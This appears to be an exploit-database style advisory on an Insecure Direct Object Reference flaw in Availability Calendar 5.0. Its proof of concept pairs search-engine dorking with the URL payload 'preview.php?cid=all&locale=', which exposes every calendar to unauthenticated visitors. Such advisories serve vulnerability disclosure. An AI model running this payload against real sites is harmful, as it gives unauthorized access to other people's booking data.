Availability Calendar 5.0 Insecure Direct Object Reference

`=============================================================================================================================================  
| # Title : Availability Calendar v5.0 IDOR Vulnerability |  
| # Author : indoushka |  
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 128.0.3 (64 bits) |  
| # Vendor : https://auth.phpjabbers.com/download/727464/53089/4086bea551934539d536dcb3899ddbe8 |  
=============================================================================================================================================  
  
poc :  
  
[+] Dorking İn Google Or Other Search Enggine.  
  
[+] Insecure Direct Object Reference : Allows visitors to preview Calendar .  
  
[+] use payload : preview.php?cid=all&locale=  
  
[+] http://127.0.0.1/AvailabilityCalendar/preview.php?cid=all&locale=  
  
Greetings to :============================================================  
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |  
==========================================================================  
`